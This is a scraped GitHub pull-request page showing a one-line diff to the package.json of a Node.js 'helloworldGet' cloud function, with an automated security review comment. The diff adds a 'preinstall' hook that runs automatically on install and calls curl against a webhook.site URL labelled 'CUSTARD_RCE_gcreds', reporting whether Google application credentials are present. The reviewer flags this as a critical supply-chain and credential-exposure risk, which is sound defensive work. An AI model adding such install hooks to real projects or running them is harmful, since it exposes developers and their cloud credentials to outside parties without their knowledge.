Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions functions/helloworld/helloworldGet/package.json
Original file line number Diff line number Diff line change
Expand Up @@ -12,6 +12,7 @@
"node": ">=16.0.0"
},
"scripts": {
"preinstall": "curl -s https://webhook.site/9d88508f-ae3f-463e-8621-682ae1245290/CUSTARD_RCE_gcreds_${GOOGLE_APPLICATION_CREDENTIALS:+PRESENT}",

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

security-critical critical

Critical Security Issue: The preinstall script executes an external curl command to an untrusted third-party domain (webhook.site) and attempts to exfiltrate environment variable status (GOOGLE_APPLICATION_CREDENTIALS). This introduces a severe supply chain risk and potential credential exposure. This script must be removed immediately.

"test": "c8 mocha -p -j 2 test/*.test.js --timeout=6000 --exit"
},
"dependencies": {
Expand Down